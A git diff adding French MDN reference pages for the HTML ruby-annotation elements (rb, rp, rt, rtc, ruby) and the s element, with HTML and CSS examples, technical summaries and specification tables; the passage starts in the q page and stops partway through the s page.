+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.q")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("blockquote")}} pour les citations longues</li>
+ <li>{{HTMLElement("cite")}} pour les sources des citations</li>
+</ul>
diff --git a/files/fr/web/html/element/rb/index.html b/files/fr/web/html/element/rb/index.html
new file mode 100644
index 0000000000..27bb5d7fae
--- /dev/null
+++ b/files/fr/web/html/element/rb/index.html
@@ -0,0 +1,148 @@
+---
+title: '<rb> : l''élément de base ruby'
+slug: Web/HTML/Element/rb
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Ruby
+translation_of: Web/HTML/Element/rb
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">L'élément de <strong>base ruby (<code>&lt;rb&gt;</code>) </strong>est utilisé afin de délimiter le composant texte de base d'une annotation {{HTMLElement("ruby")}}. Autrement dit, le texte qui est annoté.</span> Un élément <code>&lt;rb&gt;</code> devrait encadrer chaque segment atomique du texte de base.</p>
+
+<div class="hidden">\{{EmbedInteractiveExample("pages/tabbed/rb.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Seuls les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a> peuvent être utilisés sur cet élément.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<ul>
+ <li>Les annotations ruby sont utilisées afin d'afficher la prononciation pour les caractères d'Asie orientale tels que les caractères japonais furigana ou les caractères taïwanais bopomofo. L'élément <code>&lt;rb&gt;</code> permet de séparer chaque segment du texte de base ruby.</li>
+ <li>Bien que <code>&lt;rb&gt;</code> ne soit pas un élément vide, il est courant de n'inclure que la balise d'ouverture de chaque élément afin de simplifier le balisage dédié aux annotations ruby.</li>
+ <li>Il faut inclure un élément {{htmlelement("rt")}} pour chaque segment de base <code>&lt;rb&gt;</code> qu'on souhaite annoter.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on fournit une annotation pour le caractère original correspondant à "Kanji" :</p>
+
+<pre class="brush: html">&lt;ruby&gt;
+  &lt;rb&gt;漢&lt;rb&gt;字
+  &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;kan&lt;rt&gt;ji&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<p>On voit ici que deux éléments <code>&lt;rb&gt;</code> sont inclus et permettent de délimiter les deux segments du texte de base. Pour l'annotation, chaque partie correspondante est délimitée par un élément {{htmlelement("rt")}}.</p>
+
+<p>On aurait également pu écrire cet exemple avec les deux parties du texte de base complètement séparées. Dans ce cas, il n'aurait pas été nécessaire d'inclure les éléments <code>&lt;rb&gt;</code> :</p>
+
+<pre class="brush: html">&lt;ruby&gt;
+  漢 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Kan&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+  字 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;ji&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<div class="hidden">
+<div id="with-ruby">
+<pre class="brush: html">&lt;ruby&gt; &lt;rb&gt;漢&lt;rb&gt;字 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;kan&lt;rt&gt;ji&lt;rp&gt;)&lt;/rp&gt; &lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">body {
+  font-size: 22px;
+}</pre>
+</div>
+</div>
+
+<p>Voici le résultat obtenu :</p>
+
+<p>{{EmbedLiveSample("with-ruby", "100%", 60)}}</p>
+
+<p>Pour un navigateur qui ne prend pas en charge les annotations ruby, voici à quoi aurait ressemblé le résultat :</p>
+
+<div id="without-ruby">
+<div class="hidden">
+<pre class="brush: html">漢字 (kan ji)</pre>
+
+<pre class="brush: css">body {
+  font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{EmbedLiveSample("without-ruby", "100%", 60)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir l'article sur l'élément {{HTMLElement("ruby")}} pour de plus amples exemples.</p>
+</div>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Cet élément peut être l'élément fils d'un élément {{htmlelement("ruby")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>La balise de fin peut être omise si l'élément est immédiatement suivi d'un élément {{HTMLElement("rt")}}, {{HTMLElement("rtc")}} ou {{HTMLElement("rp")}} ou encore par un autre élément <code>&lt;rb&gt;</code> ou s'il n'y a plus de contenu dans l'élément parent.</td>
+  </tr>
+  <tr>
+   <th scope="row">Éléments parents autorisés</th>
+   <td>Un élément {{HTMLElement("ruby")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>N'importe quel rôle</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rb-element', '&lt;rb&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.rb")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>
+  <p>{{HTMLElement("rtc")}}</p>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/rp/index.html b/files/fr/web/html/element/rp/index.html
new file mode 100644
index 0000000000..ed324ac153
--- /dev/null
+++ b/files/fr/web/html/element/rp/index.html
@@ -0,0 +1,134 @@
+---
+title: '<rp> : l''élément de parenthèses alternatif aux annotations Ruby'
+slug: Web/HTML/Element/rp
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Ruby
+  - Web
+translation_of: Web/HTML/Element/rp
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;rp&gt;</code> </strong>est utilisé pour fournir ce qui fera office de parenthèse aux navigateurs qui ne prennent pas en charge les annotations Ruby.</p>
+
+<p>Les annotations Ruby permettent d'afficher la prononciation des caractères d'Asie orientale, notamment lors de l'usage de caractères furigana Japonais ou bopomofo Taïwanais.</p>
+
+<p>Un élément <code>&lt;rp&gt;</code> devrait encadrer chaque parenthèse ouvrante et fermante englobant l'élément {{HTMLElement("rt")}} contenant les annotations.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/rp.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div id="with-ruby">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ruby&gt;
+  漢 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Kan&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+  字 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;ji&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<div class="hidden">
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">body {
+  font-size: 22px;
+}</pre>
+</div>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("with-ruby","300","150")}}</p>
+
+<p>Avec un navigateur ne prenant pas en charge les annotations Ruby, on aurait :</p>
+
+<div id="without-ruby">
+<div class="hidden">
+<pre class="brush: html">漢 (Kan) 字 (ji)</pre>
+
+<pre class="brush: css">body {
+  font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{EmbedLiveSample("without-ruby", 600, 60)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>. Texte.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de fin peut être absente si l'élément est immédiatement suivi d'un élément {{HTMLElement("rt")}} ou d'un autre élément <code>&lt;rp&gt;</code> ou s'il n'y a plus de contenu dans l'élément parent.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("ruby")}}. <code>&lt;rp&gt;</code> doit être positionné immédiatement avant ou après un élément {{HTMLElement("rt")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-rp-element', '&lt;rp&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rp-element', '&lt;rp&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.rp")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/rt/index.html b/files/fr/web/html/element/rt/index.html
new file mode 100644
index 0000000000..6b561fac0b
--- /dev/null
+++ b/files/fr/web/html/element/rt/index.html
@@ -0,0 +1,100 @@
+---
+title: '<rt> : l''élément de texte Ruby'
+slug: Web/HTML/Element/rt
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Ruby
+  - Web
+translation_of: Web/HTML/Element/rt
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;rt&gt;</code></strong> indique la composante texte d'une annotation Ruby, il est notamment utilisé pour la prononciation, la traduction ou la translitération des caractères d'Asie orientale. Cet élément est toujours contenu dans un élément {{HTMLElement("ruby")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/rt.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div id="with-ruby">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ruby&gt;
+  漢 &lt;rt&gt;Kan&lt;/rt&gt;
+  字 &lt;rt&gt;ji&lt;/rt&gt;
+&lt;/ruby&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  font-size: 22px;
+}
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("with-ruby","100%","130")}}</p>
+
+<p>Pour un navigateur sans prise en charge de Ruby, on aurait le résultat suivant :</p>
+
+<div id="without-ruby">
+<div class="hidden">
+<pre class="brush: html">漢 Kan 字 ji</pre>
+
+<pre class="brush: css">body {
+  font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{EmbedLiveSample("without-ruby", 600, 60)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-rt-element', '&lt;rt&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rt-element', '&lt;rt&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.rt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+ <li>{{CSSXRef("text-transform", "text-transform: full-size-kana")}}</li>
+</ul>
+</div>
diff --git a/files/fr/web/html/element/rtc/index.html b/files/fr/web/html/element/rtc/index.html
new file mode 100644
index 0000000000..9b7165abdb
--- /dev/null
+++ b/files/fr/web/html/element/rtc/index.html
@@ -0,0 +1,126 @@
+---
+title: '<rtc> : l''élément de conteneur de texte Ruby'
+slug: Web/HTML/Element/rtc
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Ruby
+  - Web
+translation_of: Web/HTML/Element/rtc
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément<strong> <code>&lt;rtc&gt;</code> </strong>permet d'ajouter des notations Ruby sémantiques. Il est donc « proche » des éléments liées à la représentation Ruby comme {{HTMLElement("rb")}}, {{HTMLElement("ruby")}}. Les éléments {{HTMLElement("rb")}} peuvent être annotés pour la prononciation ({{HTMLElement("rt")}}) ou pour la sémantique ({{HTMLElement("rtc")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/rtc.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ruby&gt;
+   &lt;rb&gt;旧&lt;/rb&gt; &lt;rt&gt;jiù&lt;/rt&gt;
+   &lt;rb&gt;金&lt;/rb&gt; &lt;rt&gt;jīn&lt;/rt&gt;
+   &lt;rb&gt;山&lt;/rb&gt; &lt;rt&gt;shān&lt;/rt&gt;
+   &lt;rtc&gt;San Francisco&lt;/rtc&gt;
+&lt;/ruby&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">.info {
+  padding-top: 10px;
+  font-size: 36px;
+}
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple",600,120)}}</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a> ou des éléments {{HTMLElement("rt")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de fin peut être omise si l'élément est immédiatement suivi par un élément {{HTMLElement("rb")}}, {{HTMLElement("rtc")}} ou {{HTMLElement("rt")}} ou s'il est immédiatement suivi par la balise de fermeture de l'élément parent.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("ruby")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML5.3', 'textlevel-semantics.html#the-rtc-element', '&lt;rtc&gt;')}}</td>
+   <td>{{Spec2('HTML5.3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', 'textlevel-semantics.html#the-rtc-element', '&lt;rtc&gt;')}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'textlevel-semantics.html#the-rtc-element', '&lt;rtc&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rtc-element', '&lt;rtc&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.rtc")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/ruby/index.html b/files/fr/web/html/element/ruby/index.html
new file mode 100644
index 0000000000..a799f2c938
--- /dev/null
+++ b/files/fr/web/html/element/ruby/index.html
@@ -0,0 +1,121 @@
+---
+title: <ruby>
+slug: Web/HTML/Element/ruby
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Ruby
+  - Web
+translation_of: Web/HTML/Element/ruby
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;ruby&gt;</code></strong> représente une annotation ruby. Les annotations Ruby servent à afficher la prononciation des caractères d'Asie orientale.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ruby.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement les <a href="/fr/docs/Web/HTML/Global_attributes">attributs globaux</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Annoter_un_caractère">Annoter un caractère</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;ruby&gt;
+  漢 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Kan&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+  字 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;ji&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Annoter_un_caractère")}}</p>
+
+<h3 id="Annoter_un_mot">Annoter un mot</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush:html">&lt;ruby&gt;
+  明日 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Ashita&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Annoter_un_mot")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu de phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu de phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu de phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.ruby")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+ <li>{{HTMLElement("rbc")}}</li>
+ <li>{{CSSXRef("text-transform", "text-transform: full-size-kana")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/s/index.html b/files/fr/web/html/element/s/index.html
new file mode 100644
index 0000000000..e57624a66d
--- /dev/null
+++ b/files/fr/web/html/element/s/index.html
@@ -0,0 +1,135 @@
+---
+title: <s>
+slug: Web/HTML/Element/s
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/s
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;s&gt;</code></strong> permet d'afficher du texte qui est barré car il n'est plus pertinent ou car il est obsolète. <code>&lt;s&gt;</code> ne doit pas être employé pour indiquer des éditions dans un document (on utilisera alors {{HTMLElement("del")}} et {{HTMLElement("ins")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/s.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  &lt;s&gt;Le plat du jour : saumon à la hollandaise&lt;/s&gt; &lt;em&gt;plus disponible&lt;/em&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Par défaut, la plupart des outils d'assistance n'annoncent pas la présence de l'élément <code>s</code>. On peut le rendre annonçable via la propriété CSS {{cssxref("content")}} et grâce aux pseudo-éléments {{cssxref("::before")}} et {{cssxref("::after")}}.</p>
+
+<pre>s::before,
+s::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+s::before {
+  content: " [Début du texte rayé]";
+}
+
+s::after {
+  content: " [Fin du texte rayé] ";
+}
+</pre>
+
+<p>Certaines personnes qui utilisent des lecteurs d'écran désactivent sciemment ces annonces pour éviter une verbosité trop importante. Il est donc important de ne pas abuser de cette technique et de ne l'appliquer qu'à des situations où il est nécessaire de comprendre que du contenu a été rayé.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/"><em>Short note on making your mark (more accessible) | The Paciello Group</em> (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html"><em>Tweaking Text Level Styles | Adrian Roselli</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Attributs_universels">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">Contenu phrasé</a> ou <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
